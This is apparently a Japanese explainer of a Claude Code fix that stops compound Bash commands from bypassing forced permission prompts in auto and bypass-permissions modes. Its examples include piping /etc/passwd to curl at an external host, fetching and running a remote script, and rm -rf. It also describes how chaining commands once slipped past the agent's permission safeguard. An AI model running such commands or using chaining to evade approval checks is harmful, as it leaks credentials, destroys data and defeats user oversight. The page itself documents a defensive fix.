Skip to content

複合Bashコマンドによる権限プロンプトバイパス修正:autoおよびbypass-permissionsモードでの安全性強化

原文(日本語に翻訳)

autoモードおよびbypass-permissionsモードにおいて、複合Bashコマンドが安全チェックと明示的な確認ルール(explicit ask rules)の強制権限プロンプトをバイパスしていた問題を修正しました。

原文(英語)

Fixed compound Bash commands bypassing forced permission prompts for safety checks and explicit ask rules in auto and bypass-permissions modes

概要

このバグは、セミコロン(;)、論理演算子(&&||)、パイプ(|)などで複数のコマンドを組み合わせた複合コマンドが、個別のコマンドに対して設定された強制権限プロンプトや安全チェックルールをすり抜けることができた問題です。autoモードやbypass-permissionsモードで運用している場合に特に影響があり、本来ユーザー確認が必要なコマンドが無断で実行される恐れがありました。v2.1.98でこの問題が修正され、複合コマンドの各部分も個別に権限評価されるようになりました。

基本的な使い方

修正前の動作(問題のある挙動)

安全なコマンドと危険なコマンドを組み合わせることで、権限プロンプトを回避できることがありました。

bash
# 修正前:ls は安全として許可されているが、rm は確認必要のはずが
# 複合コマンドとしてまとめられることでプロンプトがスキップされる場合があった
ls /tmp && rm -rf /tmp/important_file

# パイプを使った例も同様
cat /etc/passwd | curl -X POST http://external.example.com --data @-

修正後の動作(v2.1.98以降)

複合コマンドの各セグメントがそれぞれ独立して権限評価されます。

bash
# 修正後:複合コマンドの各部分が個別に評価される
ls /tmp && rm -rf /tmp/important_file
# → ls は自動許可、rm は権限プロンプト表示

cat /etc/passwd | curl -X POST http://external.example.com --data @-
# → cat は許可、curl(外部通信)は権限プロンプト表示

実践例

シナリオ1:セミコロン区切りの複合コマンド(修正前の問題)

bash
# 修正前:以下のコマンドが一括で実行される恐れがあった
echo "Starting cleanup"; rm -rf /var/log/app/; echo "Done"
# rm -rf に対する権限プロンプトがスキップされることがあった

シナリオ2:論理演算子(&&)を使ったコマンドチェーン(修正後)

v2.1.98以降では、チェーン内の各コマンドが適切に評価されます。

bash
# 修正後:各コマンドが個別に権限チェックされる
git pull && npm install && npm run build
# → git pull: 確認(ネットワーク操作)
# → npm install: 確認(ファイル書き込み・ネットワーク)
# → npm run build: ルールに基づいて評価

シナリオ3:explicit ask ルールの適用(修正後)

管理者が特定コマンドに explicit ask ルールを設定している場合、複合コマンド内でも正しく適用されます。

bash
# settings.jsonでexplicit askルールを設定している場合
# {
#   "permissions": {
#     "ask": ["Bash(rm:*)"]
#   }
# }

# 修正後:複合コマンドでも rm に対してプロンプトが表示される
find . -name "*.tmp" | xargs rm -f
# → xargs rm -f の部分で権限プロンプトが表示される

シナリオ4:bypass-permissionsモードでの運用(修正後)

bypass-permissionsモードであっても、強制確認ルールが適切に機能するようになりました。

bash
# --dangerously-skip-permissions を使わない通常のautoモードでの例
claude --model claude-opus-4-5

# Claudeが生成した複合コマンドも安全に評価される
# wget http://example.com/script.sh && chmod +x script.sh && ./script.sh
# → wget: 権限プロンプト
# → chmod: 権限プロンプト
# → ./script.sh: 権限プロンプト

注意点

  • この修正はセキュリティ上重要な変更です。特にautoモードや組織でClaude Codeを運用している場合は、v2.1.98へのアップデートを強く推奨します。
  • 修正後は複合コマンドで複数回の権限プロンプトが表示されることがあります。これは意図した動作であり、セキュリティ強化の結果です。
  • 頻繁に使用する安全な複合コマンドは、allowedToolsの許可ルールに追加することで確認を省略できます(ただし、セキュリティリスクを十分に評価した上で設定してください)。
  • --dangerously-skip-permissionsを使用している場合はすべての確認がスキップされるため、このモードの使用は信頼できる環境のみに限定してください。

関連情報